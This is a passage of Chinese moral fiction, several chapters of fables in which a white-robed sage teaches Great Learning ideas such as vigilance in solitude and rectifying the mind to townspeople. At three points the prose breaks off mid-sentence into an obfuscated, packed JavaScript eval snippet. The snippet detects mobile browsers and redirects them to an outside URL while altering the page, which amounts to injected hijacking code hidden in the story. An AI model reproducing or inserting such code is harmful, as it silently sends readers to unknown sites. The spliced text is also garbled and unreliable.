程玄曰:“格物当穷其本。如格花,不格其色,而格其根性。” 程默曰:“格物当究其源。如格泉,不格其声,而格其水脉。” 程辩曰:“格物当探其成。如格石,不格其纹,而格其层理。” 程惑曰:“格物当极其本。如格果,不格其味,而格其树体。” 来人颔首:“善。然此犹未至‘豁然贯通’之境。” 遂引四子至庄中“万物台”,台上列花、泉、石、果诸物。来人问:“花、泉、石、果,其理可通否?” 四子茫然。来人取花一朵,投泉中,花随泉涌;取泉一杯,浇石上,泉渗石纹;取石一粒,埋果树下,石润树根;摘果一枚,与花并置,果香染花。 “万物虽殊,其理一也。”来人朗声,“花之开谢,泉之温凉,石之纹层,果之味本,皆循阴阳消长、五行生克、气机流转。今尔等分格四物,是见物之殊,未见理之同。苟能即物穷理,用力之久,一旦豁然贯通,则众物之表里精粗无不到,而吾心之全体大用无不明矣。” 四子如醍醐灌顶。程玄曰:“吾知矣!花之开谢,如泉之涨落,如石之层积,如果之熟落,皆气之聚散耳!” 程默曰:“吾亦知!泉之温凉,如花之朝暮,如石之刚柔,如果之甘辛,皆时之迁流耳!” 程辩、程惑各有所悟。四人相视,忽同声:“物虽有万,理则为一!” 来人抚掌:“此谓物格,此谓知之至也。” 是时,四疑轩中忽有清风拂过,四子旧日所记花谱、泉录、石考、果志,页页自翻,字字浮空,竟相融合,化为一卷《格物通理录》。 六、 通理论 庄主程理大悦,设“通理宴”。席间,来人取四物示众: “今以花、泉、石、果,试言格物之阶。” “一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088221|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曰即物。”执花,“见花是花,即其形色,程玄初境也。” “二曰穷理。”指泉,“知泉有脉,究其源流,程默所悟也。” “三曰贯通。”叩石,“石纹即水痕,见一知万,程辩所达也。” “四曰致知。”剖果,“果味系树本,明体达用,程惑所臻也。” 又合四物于掌:“至于豁然贯通,则花非花,泉非泉,石非石,果非果,皆是天理流行。至此,心与理一,物与我齐,是谓‘知之至’。” 程理拜问:“先生可否长留授学?” 来人摇首:“格物在己,不在人。某不过指点门径。今四子已入门,当自用功。”起身,指轩外竹林,“竹,物也。其理何在?可自格之。” 言毕,踏竹梢而去,白衣飘举,若凭虚御风。四子追出,但见月下竹影婆娑,杳无踪迹,唯余清音随风: “人心之灵莫不有知, 天下之物莫不有理。 即物穷理贵有恒, 豁然贯通在笃行。” 程玄忽指竹:“竹有节,理有阶;竹心虚,理无穷。此非先生所示乎?” 四子遂共格竹,三月后,著《格竹谱》,阐“竹理通于万物”之论。格物庄学风遂正,后成“理学重镇”。 尾声竹理吟 十年后,有游学士子访格物庄。见庄中人人持簿握笔,或观蚁斗,或察叶落。问其故,庄童答:“此格物也。” “格物为何?” “即物穷理,以求致知。” “可得致知否?” 童指庄中“万物台”:“台上万物,台下万理。理在物中,亦在心中。豁然贯通时,心物一如。” 士子登台,见台心立碑,刻来人当日所言。碑阴有程理跋: “花泉石果四子疑, 先生踏竹指迷途。 即物穷理贵有恒, 豁然贯通在笃行。 四子后来皆成家, 一理贯通万物殊。 寄语世间格物者, 莫将耳目蔽灵府。” 是夜,士子宿庄中,梦来人踏月而至,折竹为笛,奏《格物曲》。醒而记其谱,题曰《竹理吟》: “一物有一理, 万物理归一。 即物穷其源, 日久忽贯通。 表里精粗到, 心体大全明。 此谓物格尽, 此谓知至诚。” 自此,格物庄童蒙皆诵《格物谣》: “格物不是死看书, 即物穷理要功夫。 花泉石果皆有理, 表里精粗要究诸。 用力日久豁然通, 心体大明物无殊。 寄语天下读书子, 格物致知是正途。” 本章诫世 一、 即物穷理 - 致知在格物,在即物而穷其理 - 破解法:遇事遇物,不浮表面,要“即”而“穷”之 - 示例:四子初格物,但即不穷,故知不尽 二、 穷理有阶 - 人心之灵莫不有知,天下之物莫不有理 - 惕世:多少人见物即判,不穷其理?多少人浅尝辄止,便谓得道? - 反思:我于事物,可曾“穷理”?可曾“用力之久”? 三、 豁然贯通 - 用力之久,一旦豁然贯通,则众物之表里精粗无不到,吾心之全体大用无不明 - 深层隐喻:理一分殊。万物殊相,一理贯通 - 终极指向:物格而后知至。真知非记闻,是贯通 格物偈: 格物庄中四子疑,花泉石果各执迷。 白衣踏竹指真径,即物穷理是根基。 程玄格花穷根本,程默格泉究源溪。 程辩格石探成理,程惑格果极本枝。 四子贯通悟一理,豁然心物两无歧。 寄语世间求道者,莫将耳目蔽灵犀。 后世叹: 大学始教在格物,即物穷理是真途。 四子当初迷表相,花泉石果各拘墟。 白衣指点穷源本,一旦贯通心体虚。 寄语后来读书客,笃行用力莫踌躇。 正是: 致知要在格物先,即物穷理是真诠。 人心有知物有理,理有未穷知不全。 用力日久豁然贯,表里精粗一时圆。 格物庄中四子讼,踏竹仙人指洞天。 70. 慎独谳 楔子三面镜 淮水之阴有山城名“诚邑”,城中有“三面阁”,阁藏奇镜:一曰“自照镜”,人前对之,可见己之形容;二曰“他心镜”,暗处对之,可见人之肺肝;三曰“十目镜”,独处对之,如十目所视、十手所指。相传为前朝隐士所铸,铭曰“君子慎独”。 然百年以降,三镜蒙尘。邑中有三富室:东街金员外,人前施粥,人后盘剥;西巷钱掌柜,明面赊欠,暗地重利;南市孙东家,堂上孝子,室内虐仆。三人皆伪善,然邑人畏其势,莫敢言。 是岁上元,三镜忽生异象:自照镜中,金员外照出骷髅面;他心镜中,钱掌柜照出蛇蝎肠;十目镜中,孙东家照出百目围视。三人惊惧,延僧道禳解无效。 正月十六,城中演“慎独戏”,搬演曾子“十目所视”故事。正至高潮,忽闻后台一声清啸,但见戏台梁上一道白影翻身而下——竟从“天宫”布景的云朵中飘然落地。 来人头戴素纱帷笠,垂纱及肩,面覆鲛绡,隐约只见眼眸清冽如寒泉;身着月白纻麻深衣,衣摆缀七星,暗合天罡;外罩素罗半臂,以银线绣流云纹,行动时云纹荡漾,恍若御风。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如岁轮,似蕴千年岁月。足踏六合靴,靴尖微翘,不染尘泥。 身形高挑,立于台上,帷笠轻纱无风自动。满场寂然,分不清是戏是人,是仙是凡。 来人执木剑,点地三下,声如金玉: “所谓诚其意者:毋自欺也!” 又点三下: “小人闲居为不善,无所不至,见君子而后厌然,掩其不善,而著其善。” 再点三下: “十目所视,十手所指,其严乎!” 诵罢,木剑指台下三富室:“三位员外,可愿对镜一观?” 三人色变。来人飘然下台,衣袂不掀尘埃:“某有三桩‘慎独’公案,可请三位分观。观毕,再论诚意。” 一、 自欺谳(金员外) 金员外有米行,常以陈米充新,沙石掺谷。人前设粥棚,人后提斗秤。是日,米行前有老妪泣:“昨日购米三升,沙有半升,吾儿噎伤…” 金员外叱:“刁妇诬赖!”命仆驱之。 来人引金员外至自照镜前。镜中金员外锦衣玉带,然面目渐腐,终成骷髅。金员外骇退。 “镜非妖,是心映。”来人问,“员外可闻‘如恶恶臭,如好好色’?恶臭自然厌,好色自然喜,此谓自谦(慊)——心安理得。今员外行不善而伪善,可自谦否?” 金员外强辩:“吾行善多年…” “行善为名,是自欺;行恶为实,是真性。”来人取米一斗,倾于镜前,沙石毕现,“此米,员外可自食否?” 金员外语塞。来人曰:“毋自欺也。欺人易,欺心难。镜中骷髅,是尔心相。心已腐,面岂不腐?” 又引至粥棚,时值正午,饥民排队。来人问一稚子:“此粥可饱否?” 稚子啜泣:“粥稀见底…” 来人取勺搅粥,竟捞起鼠骸。众哗然。金员外面如死灰。 “小人闲居为不善,无所不至。”来人朗声,“员外闭门时,可曾想此粥棚?可曾想掺沙米?可曾心安?今镜现真相,是警尔:诚意,先不自欺。” 金员外伏地泣:“吾…吾知罪!”遂开仓赈米,尽易新粮。是夜,自照镜中骷髅渐复人形,然眉心一点黑,终不褪。 来人曰:“此黑点,是前愆。虽改过,痕犹在。慎独之功,贵在始终。” 二、 掩善谳(钱掌柜) 钱掌柜开当铺,重利盘剥。有寒士典祖传砚,期三月,钱掌柜暗改票据为半月。寒士逾期,砚没。寒士讼于官,钱掌柜呈假票,胜诉。 来人引钱掌柜至他心镜前。镜中钱掌柜捧账册,然腹中钻出蛇蝎,绕册而噬。钱掌柜掩面。 “人之视己,如见其肺肝然。”来人问,“掌柜可觉,近日背生芒刺,夜多惊梦?” 钱掌柜颤声:“然…” “此即肺肝自现。尔掩不善,而著其善,然不善在中,形必于外。譬如怀臭,人皆掩鼻;譬如藏奸,神鬼共嫉。” 取假票与真票并置镜前,镜中竟现两票叠影,假票字迹浮凸如蚓。钱掌柜骇绝。 “他心镜,非照他心,是照己心之暗处。”来人道,“尔改票时,可有一念不安?此不安,即是良知。今镜现真相,是良知不灭。” 又引至当铺,寒士正跪门前泣诉。来人问:“掌柜,此砚值几何?” “值…十两。” “寒士祖德值几何?” 钱掌柜汗下。来人取砚,以指叩之,砚底竟脱落,中藏血书,乃寒士先祖戍边遗笔:“宁碎砚,不降虏。”满街动容。 “砚有魂,人岂无心?”来人叹,“尔掩不善,而魂不昧;著伪善,而心不安。何苦?” 钱掌柜大恸,还砚谢罪,更焚假票,改行规。是夜,他心镜中蛇蝎渐萎,然蛇首一枚,化石刻于腹。 来人曰:“此石,是前过之印。虽改,印不灭。慎独之要,在初念即正。” 三、 十目谳(孙东家) 孙东家有染坊,虐仆甚酷。仆阿三失手污锦,孙东家命鞭笞三十,囚于柴房。阿三老母求情,孙东家叱:“贱奴命,不如一匹锦!” 来人引孙东家至十目镜前。镜中孙东家方举鞭,忽有百目自四方现,瞪视如电;百手自虚空出,指戳如戟。孙东家惊倒。 “十目所视,十手所指,其严乎!”来人问,“东家可闻夜间鞭声回响?可闻暗处泣声呜咽?” 孙东家战栗:“有…有…” “此即天视天听。尔以为独处可妄为,岂知独处正是鬼神共监之时。” 引至柴房,阿三已奄奄。来人取木剑轻点其额,阿三苏。老母拜泣。 “富润屋,德润身。”来人指孙东家华服,“尔屋华,身可润?心可安?体可胖(舒泰)?” 孙东家赧然。来人又指阿三伤痕:“此伤在身,亦在尔心。每鞭一下,尔心多一痕;每囚一日,尔德损一分。今镜中百目,是尔心上伤痕所化。” 孙东家泣拜,释仆医伤,更分家产之三成恤贫。是夜,十目镜中百目渐隐,然正中一目永睁,如天眼。 来人曰:“此目,是天监。虽改,监常在。慎独之极,在不愧屋漏。” 四、 诚意会 三人悔改,聚于三面阁。来人指阁额“慎独”二字: “诚意,在毋自欺。三位初时自欺欺人,故镜现异象。今虽改,然痕印尚在,可知慎独之功,非一时,是一世。” 金员外问:“吾眉心黑点,如何可消?” “真诚行善,不杂伪心。黑点自淡,然不可尽消。前愆如刻木,痕永在,警后来。” 钱掌柜问:“吾腹中石印,如何可化?” “真诚悔过,永不再犯。石印自小,然不可尽化。前过如凿石,印永在,惕将来。” 孙东家问:“吾镜中天目,如何可闭?” “真诚修德,心无愧怍。天目自柔,然不可尽闭。天监如日月,照永在,勉终生。” 三人拜服。来人遂率众重拭三镜,更于阁中立“诚意碑”,刻《大学》“诚意”章全文。碑阴题: “自欺者,镜现骷髅; 掩善者,镜现蛇蝎; 亏心者,镜现十目。 三镜非妖, 人心自照。 君子慎独, 在诚其意。 意诚则心安, 心安则德润, 德润则身泰, 身泰则屋华。 富润屋,德润身, 心广体胖是真人。” 碑成,三镜复明如常。自此,诚邑富室多行善,慎独成风。 五、 独处谳 越三月,来人将行。三富室于三面阁设宴饯别。席间,忽有邑吏急报:城隍庙祝夜盗香火钱,被擒。庙祝辩:“夜深独处,孰人可见?” 来人莞尔:“可引至十目镜前。” 庙祝对镜,果见十目灼灼,惊伏认罪。满座慨叹。 来人曰:“慎独非畏人知,是畏己知。人可欺,己不可欺;人可见,己已先见。此谓‘诚于中,形于外’。今庙祝盗钱,虽无人见,然盗时手颤,藏时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088222|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心跳,寝时梦魇,此皆形也。岂真能掩?” 又指三富室:“三位前日之过,亦如是:金员外掺沙,手必抖;钱掌柜改票,气必虚;孙东家虐仆,眠必惊。此皆形于外,不过自掩耳目耳。” 三人心服。来人取木剑,就阁外地划一圈: “此圈内,诸君试独处一刻,自省可有不善之念?” 众人入圈,闭目静思。一刻后,金员外汗出:“吾思及旧债未偿…”钱掌柜赧然:“吾忆及假账未销…”孙东家泣:“吾念及仆伤未愈…” 来人拊掌:“此即慎独之功。独处时,念头最真。能自省自克,是诚意根基。” 遂教“慎独法”:每夜静坐,自问今日“可有自欺?可有掩过?可亏心?”有则记之,明日改之。众人遵行,诚邑风气愈淳。 尾声慎独谣 三年后,诚邑夜不闭户。有外邑奸商来,欲售伪药,见邑童游戏,唱《慎独谣》: “诚意先毋自欺, 如恶恶臭好好色。 小人闲居做坏事, 见人掩恶心惴惴。 十目所视十手指, 富润屋来德润身。 君子必先诚其意, 慎独功夫在真心。” 奸商惭退。适来人策马再过,闻童谣,下马问:“汝等慎独,独处时可有不善念?” 童答:“先生教,有念即记,明日改。” “可难否?” “初难,久成习。如恶臭自然厌,不消强忍。” 来人莞尔,取木剑划地,现八字: “慎独非束, 是心安泰。 诚意非苦, 是性自然。” 童拜问:“先生,可能永驻?” 来人指心:“慎独在尔心,何需外求?”踏鞍上马,衣袂飘举,竟纵马直上城楼,自雉堞间一跃而下,落入护城河——然人马未沉,踏波如履平地,转瞬逝于烟水之间。 满城惊睹,方知是仙。自此,诚邑又名“慎独邑”。 后百年,三面阁犹存。有书生夜读阁中,倦伏案,梦来人执木剑点其额:“子白日见利心动,可自知?” 书生惊寤,汗透重衣。翌日,还拾遗金。人问:“夜独无人,何以不匿?” 书生指阁上“慎独”匾:“十目所视,敢不诚乎?” 本章诫世 一、 毋自欺 - 诚其意者,毋自欺也。如恶恶臭,如好好色 - 破解法:遇事自问:我可自欺?此事如恶臭自然厌否?如好色自然好否? - 示例:金员外掺沙,是自欺;对镜现骷髅,是心相 二、 慎独 - 君子必慎其独。小人闲居为不善,见君子而后厌然 - 惕世:多少人“人前是佛,人后是魔”?多少“善行”是做给人看? - 反思:我独处时,可有不善念?可有愧怍行? 三、 十目所指 - 十目所视,十手所指,其严乎!富润屋,德润身 - 深层隐喻:天知地知,你知我知。独处正是天监最严时 - 终极指向:诚意在慎独。意诚则德润,德润则身泰,自然心广体胖 慎独偈: 诚邑三富伪善行,三面镜照肺肝情。 金员掺沙骷髅现,钱贾改票蛇蝎狞。 孙东虐仆十目指,三子骇绝拜泣诚。 白衣示以慎独法,毋自欺兮诚意明。 富润屋兮德润身,心广体胖是坦平。 至今三镜阁中挂,犹照世人独处贞。 后世叹: 诚意先须毋自欺,慎独功夫不可移。 小人闲居为不善,见君掩恶心怵惕。 十目所视十手指,富润屋宇德润肌。 寄语世间独处客,莫道无人可欺罔。 正是: 诚意慎独毋自欺,如恶恶臭好美姿。 小人闲居为不善,见君掩恶心怵惕。 十目所视十手指,富润屋宇德润肌。 三面镜中肺肝现,白衣指点诚意基。 71. 正心谳 楔子·四患井 洛水之畔有古镇名曰“正心镇”,镇中有“四患井”,相传乃前朝大儒凿以自警。井分四隅:东隅“忿懥井”,汲水者怒;西隅“恐惧井”,汲水者惧;南隅“好乐井”,汲水者耽;北隅“忧患井”,汲水者忧。井壁刻《大学》章句:“身有所忿懥,则不得其正…心不在焉,视而不见,听而不闻,食而不知其味。” 年深日久,井壁苔侵,字迹漫漶。镇中有四匠:铁匠雷怒,性烈如火,一锤不合,即掷锤怒骂;画师白惧,胆怯如鼠,见人争执,即瑟缩掩面;琴师柳耽,嗜琴成痴,闻琴废寝,卖屋购琴;棋士常忧,多虑成疾,一子得失,三夜不眠。 四人皆染“心不正”之疾:雷怒打铁,常伤己手;白惧作画,不敢点睛;柳耽弹琴,妻离子散;常忧下棋,呕血数次。镇人叹:“四匠有四患,四井应四心。” 是岁端阳,四井忽生异象:忿懥井水沸如汤,恐惧井水凝成冰,好乐井水甘如蜜,忧患井水苦似胆。四匠各自对井,病症愈重。 正午,镇中演“正心傩”,傩面四具:怒目红面、惧相青面、痴相粉面、忧相黄面。舞至酣处,忽闻一声裂帛——但见那“痴面”傩师手中竹骨伞“砰”地炸开,伞面如白莲绽放,一人自伞中飘然而出! 来人头戴素纱帷笠,笠缘垂及肩的月白轻纱,面上蒙着同色鲛绡,只在双目处透出两点寒星;着一身云纹素罗深衣,衣摆以银丝绣着疏疏落落的竹叶纹,行动时竹叶仿佛随风摇曳。外罩一件无袖素纱罩袍,袍角缀七枚玉铃,却寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹路如流水,似有波纹荡漾。足踏素锦软靴,靴面不染纤尘。 身形清癯,立于傩戏台上,帷笠轻纱与傩师彩衣同飘,竟似从傩面中化出的精魄。台下观者怔忡,分不清是傩是仙。 来人木剑轻点地面,声如碎玉: “身有所忿懥,则不得其正!” 又点: “有所恐惧,则不得其正!” 再点: “有所好乐,则不得其正!” 复点: “有所忧患,则不得其正!” 诵罢,木剑遥指四井:“四位匠人,可愿就井观心?” 四匠面面相觑。来人飘然下台,衣袂如云舒展:“某有四桩‘正心’公案,可请四位分观。观毕,再论修身。” 一、 忿懥谳(雷怒) 铁匠雷怒,镇东开铺。是日,有客定制鸳鸯剑,嫌剑纹稍斜。雷怒勃然:“吾打铁三十年,未有敢嫌者!”举锤欲殴客。 来人引雷怒至忿懥井。井水墨黑,沸腾如怒涛。雷怒临井一照,水中倒影竟面目狰狞,双目喷火。骇而后退,井水渐平。 “忿懥如水沸,心不得其正。”来人问,“君每怒时,可觉目眩耳鸣,手颤心悸?” 雷怒喘道:“然…然!” “此即心不正之症。心为身主,心怒则身摇,身摇则锤偏,锤偏则剑歪。君怪客嫌剑,实乃自心不正,致手艺有偏。” 取雷怒所打铁器数件,置日光下照看:菜刀微卷,柴斧略斜,镰刀偏锋。雷怒汗下。 来人又引至铁铺,令雷怒静坐一刻,再打一钉。雷怒初坐如针毡,继而呼吸渐平,一刻后打钉,钉身笔直如尺。 “此钉与旧钉,孰正?” 雷怒赧然。来人曰:“修身在正其心。心正,则锤正;锤正,则器正。今君能静心一刻,即得正心一瞬。若能常保此心,何器不成?” 雷怒拜问:“然遇嫌客,何以制怒?” “制怒非压怒,是化怒。”来人取井水一瓢,泼于炭炉,烟起火熄,“怒如火,以忍压之,如添薪;以理化之,如水泼。君可自思:客嫌剑,是助君精进,何怒之有?” 雷怒恍然,遂于铺前立“正心牌”,刻“制怒如淬剑,心平器自正”。自此,怒时必静坐一刻,所出铁器,渐成珍品。 二、 恐惧谳(白惧) 画师白惧,镇西设肆。善画虎,然从不点睛,曰“点睛恐虎噬人”。有豪客掷金求点睛虎,白惧战栗不能笔。 来人引白惧至恐惧井。井水青黑,凝冰如镜。白惧临井一照,水中倒影蜷缩如鼠。井冰忽裂,影碎,白惧惊叫掩面。 “恐惧如水冰,心不得其正。”来人问,“君每惧时,可觉血凝肢冷,气短神散?” 白惧颤答:“是…是!” “此即心不正之症。心为神舍,心惧则神散,神散则手抖,手抖则笔歪。君怕虎噬,是心自噬,非虎噬人。” 取白惧未点睛虎图,悬于壁。又取朱砂笔:“请点睛。” 白惧手抖如筛。来人以木剑轻按其背:“心正则笔正。虎在纸中,安能噬人?所惧者,心中之虎耳。” 白惧咬牙点晴,笔落,虎目炯炯,满堂生威。观者喝彩,白惧忽觉心胸一畅。 “此即心正之功。”来人道,“恐惧如冰,日照则融。君今日点睛,如破心中冰。日后遇事,当思‘虎在纸上’,何惧之有?” 又引至画肆,见满壁画作皆无睛。来人叹:“君画十年,画虎千幅,然幅幅无睛,是画皮未画骨,画形未画神。心惧至此,可惜可惜。” 白惧泣拜。来人教“破惧法”:每日对镜自画,必点睛。初时手抖,久则自如。三月后,白惧点睛虎名动四方,豪客争购。人问:“不畏虎噬乎?” 白惧笑:“心中无虎,纸上虎何噬?” 三、 好乐谳(柳耽) 琴师柳耽,镇南居。嗜琴如命,倾家购“焦尾琴”,妻劝,柳耽叱:“琴即吾命!”妻携子去,柳耽不悔,日夜抚琴,竟至断炊。 来人引柳耽至好乐井。井水琥珀色,甘香扑鼻。柳耽临井一照,水中倒影抱琴痴笑,面如醉酡。掬水饮之,竟忘饥渴。 “好乐如蜜饴,心不得其正。”来人问,“君抚琴时,可觉时逝不觉,饥寒不知?” 柳耽痴答:“然…抚琴三日,如弹指耳。” “此即心不正之症。心为欲主,心耽则神迷,神迷则身忘,身忘则家破。琴本怡情,今反伤身,是本末倒置。” 取焦尾琴,令柳耽弹《清心引》。柳耽初弹如醉,渐入痴境。来人忽以木剑点其虎口,琴声戛止。 “心不在焉,视而不见,听而不闻,食而不知其味。”来人叹,“君抚琴时,可见妻儿涕泪?可闻邻舍叹息?可知米缸已空?” 柳耽怔然。来人引至其家,但见蛛网满梁,灶冷甑尘。唯一琴一几,光洁如新。 “修身在正其心。好乐过度,心为乐奴,身亦随之。今君为琴弃家,是心为琴役,非心役琴。” 柳耽大恸。来人教“节乐法”:每日抚琴,以香计时,一炷即止。又令其售焦尾琴,购常琴,余资赎回家具,寻妻儿。柳耽从之,后琴艺反进,人问其故,答:“心正,则琴音正;琴音正,则动人心。” 四、 忧患谳(常忧) 棋士常忧,镇北设枰。弈棋必求全胜,一子失,则三日不食,五日不眠。近年呕血数次,医者曰:“再忧,命不久矣。” 来人引常忧至忧患井。井水灰褐,味苦刺舌。常忧临井一照,水中倒影蹙眉捧心,面如枯槁。井水忽泛涟漪,影碎如病骨。 “忧患如苦药,心不得其正。”来人问,“君弈棋时,可觉胸闷气短,头眩心悸?” 常忧咳道:“每至中盘,汗透重衣…” “此即心不正之症。心为虑府,心忧则气结,气结则血瘀,血瘀则伤身。棋本戏耳,今成索命枷,岂不谬哉?” 取棋枰,与常忧对弈。常忧布局精妙,然至中盘,来人忽落一闲子。常忧蹙眉苦思半日,来人笑:“此子无关胜负,君何虑之深?” “万一有伏…” “弈棋如用兵,虑胜亦虑败,然过虑则失机。”来人点木剑于枰,“君之病,在求全。求全则生忧,忧甚则伤身。身伤,何以弈棋?” 又引至其室,见满墙棋谱,地上以炭画枰,枕畔有棋,梦中犹呓“征子”。来人叹:“心在棋,则不在身;身在棋,则不在家。君可记得,上次沐浴何时?上次饱餐何日?” 常忧默然。来人教“解忧法”:每日弈棋,以漏刻限时,时到即止。又令其每十日必游山一日,不思棋事。半年后,常忧呕血止,棋力反进,夺得“镇弈魁首”。人问:“不忧败乎?” 常忧笑:“胜固欣然,败亦可喜。心不系胜负,反得自在。” 五、 正心会 四匠病愈,聚于四患井。来人指井壁斑驳字迹: “忿懥、恐惧、好乐、忧患,四者皆心之偏。心偏则身不正,身不正则事不成。修身在正其心,正心在去四患。” 雷怒问:“四患可尽去否?” “非尽去,是调和。”来人取四井水,倾于一瓮,“如四水合一,忿懥如沸,可激浊扬清;恐惧如冰,可镇静安神;好乐如蜜,可怡情悦性;忧患如药,可惕厉奋进。用之得当,皆为良剂;用之失当,皆成心疾。” 又引四匠至镇中“正心堂”,堂悬古匾“心在身中”。来人曰:“心不在焉,则视而不见,听而不闻,食而不知其味。今四子各患一疾,皆是心不在焉:雷怒心在怒,故视锤不见偏;白惧心在惧,故视虎不见威;柳耽心在乐,故视琴不见家;常忧心在忧,故视棋不见身。心既偏,身安得正?” 遂教“正心法”:每日晨起,对镜自问“心在何处”;日中行事,时时常觉“心在当下”;夜寐前省,反思“心可偏否”。四匠遵行,各于铺前立“正心牌”,书已之病为戒。 三月后,四井异象自消:忿懥井水温,恐惧井水清,好乐井水淡,忧患井水甘。镇人奇之,来人曰:“非井变,是人心正,映井亦正。” 六、 镜中谳 端阳又至,正心镇办“正心祭”,四匠为主祭。祭间,忽有外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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白惧执笔:“心不惧,笔自定。” 柳耽抚琴:“心不耽,琴自和。” 常忧落子:“心不忧,棋自生。” 士子不解。适童子嬉戏,唱《正心谣》: “修身先要正其心, 四患除去身自宁。 一患忿懥心火烧, 二患恐惧胆如冰。 三患好乐迷心窍, 四患忧患苦自寻。 心正自然身修正, 四正镇里乐太平。” 士子恍然。是夜,宿镇中,梦来人踏月而至,以木剑点其额:“子有忿懥,因师责;有恐惧,因科考;有好乐,因诗文;有忧患,因前程。四患缠心,何以正?” 士子惊寤,汗出如浆。翌日,辞馆归乡,静心读书。后登科,不忘四正之教,为官清正。 镇中四患井,后成“四正泉”,水清可鉴。有心动不正者临照,水面自现怒、惧、痴、忧相。人传:“此乃白衣仙人所留正心镜也。” 本章诫世 一、 心正身正 - 修身在正其心。身有所忿懥、恐惧、好乐、忧患,则不得其正 - 破解法:遇事自问:我心可在?可忿、惧、好、忧? - 示例:四匠各患一心,故身不正,事不成 二、 心不在焉 - 心不在焉,视而不见,听而不闻,食而不知其味 - 惕世:多少人做事时心不在焉?多少过失因心偏而生? - 反思:我此刻心在何处?可曾“食而不知其味”? 三、 四患调和 - 四患非尽除,是调和。用之得当,皆为良剂 - 深层隐喻:忿懥可作勇,恐惧可作慎,好乐可作趣,忧患可作勤 - 终极指向:心正则身修。心不在外,在腔子里;修不在远,在正心上 正心偈: 正心镇里四匠迷,忿惧好忧各心离。 雷怒锤偏因忿懥,白惧笔怯为恐惧。 柳耽琴痴缘好乐,常忧棋病自忧疑。 白衣指说正心法,四子涤患悟玄机。 心正自然身修谨,从兹四正镇名驰。 寄语世间修行客,莫教心猿意马驰。 后世叹: 修身之道在正心,四患缠身事不成。 忿懥恐惧好忧患,心偏自然身亦倾。 四匠当初迷本心,锤偏笔怯琴棋萦。 白衣点破正心法,心正身修万事亨。 正是: 修身先要正其心,四患除去身自宁。 忿懥恐惧好忧患,心有一偏事不成。 心不在焉视不见,食不知味听不闻。 四匠当初迷四患,白衣指点正心经。 72. 齐家谳 楔子·五辟碑 沅水之阳有古村落名“齐家庄”,庄口立“五辟碑”,碑文斑驳,隐约可辨:“人之其所亲爱而辟焉…之其所贱恶而辟焉…之其所畏敬而辟焉…之其所哀矜而辟焉…之其所敖惰而辟焉…”相传为前朝隐士所立,警示村人齐家之道。 然百年沧桑,碑文渐湮。庄中有五大户:赵氏亲爱其子,纵子行凶;钱氏贱恶其妻,动辄鞭笞;孙氏畏敬其父,父过不谏;李氏哀矜其弟,弟恶不惩;周氏敖惰其仆,仆勤不赏。五家皆“身不修不可以齐其家”,家宅不宁,邻里侧目。 是年谷雨,五辟碑忽生异象:碑上“亲爱”二字渗血,“贱恶”二字生苔,“畏敬”二字龟裂,“哀矜”二字泛白,“敖惰”二字倾斜。五户家主临碑,皆心神不宁。 四月初八,村中办“齐家祭”,演古戏《五辟鉴》。正演至“亲爱而辟”一节,忽闻戏台大鼓“咚”一声闷响——鼓皮未破,却自鼓腹中升起一团白雾,雾散处,一人倚鼓而立。 来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色冰绡,只露双瞳清冷如秋水;着一身云纹素罗深衣,衣摆以银线绣着疏疏的兰草纹,行动时兰叶仿佛临风微颤。外罩一件无袖素纱鹤氅,氅角缀七枚玉环,环环相扣却寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如流云,似在缓缓舒卷。足踏素锦步云履,履尖微翘,不沾尘土。 身形颀长,立于戏鼓之侧,帷笠轻纱与戏台幔帐同飘,竟似从鼓声中幻化而出的精魂。台下观者愕然,分不清是戏是幻。 来人木剑轻点鼓面,声如清磬: “人之其所亲爱而辟焉!” 又点: “之其所贱恶而辟焉!” 再点: “之其所畏敬而辟焉!” 复点: “之其所哀矜而辟焉!” 五点: “之其所敖惰而辟焉!” 诵罢,木剑遥指五辟碑:“五位家主,可愿对碑自省?” 五户家主面面相觑。来人飘然下台,衣袂如流云舒卷:“某有五桩‘齐家’公案,可请五位分观。观毕,再论修身。” 一、 亲爱而辟谳(赵员外) 赵员外年五十,独子赵宠,年十八,骄纵成性。昨日纵马踏青,践踏邻田,农人理论,赵宠鞭之。邻告于赵员外,员外笑曰:“少年意气,何足道哉?”反责农人“惊吾儿马”。 来人引赵员外至“亲爱”碑前。碑文渗血,以手抚之,竟温热。赵员外惊退。 “亲爱而辟,人之常情。然过则偏,偏则蔽。”来人问,“员外可知‘人莫知其子之恶’?” 赵员外强笑:“吾儿虽顽劣,心本善…” “心善而纵恶,是爱之,是害之?”来人取铜镜一面,令赵员外自照。镜中赵宠正鞭笞老仆,面目狰狞。赵员外怒:“此镜有妖!” 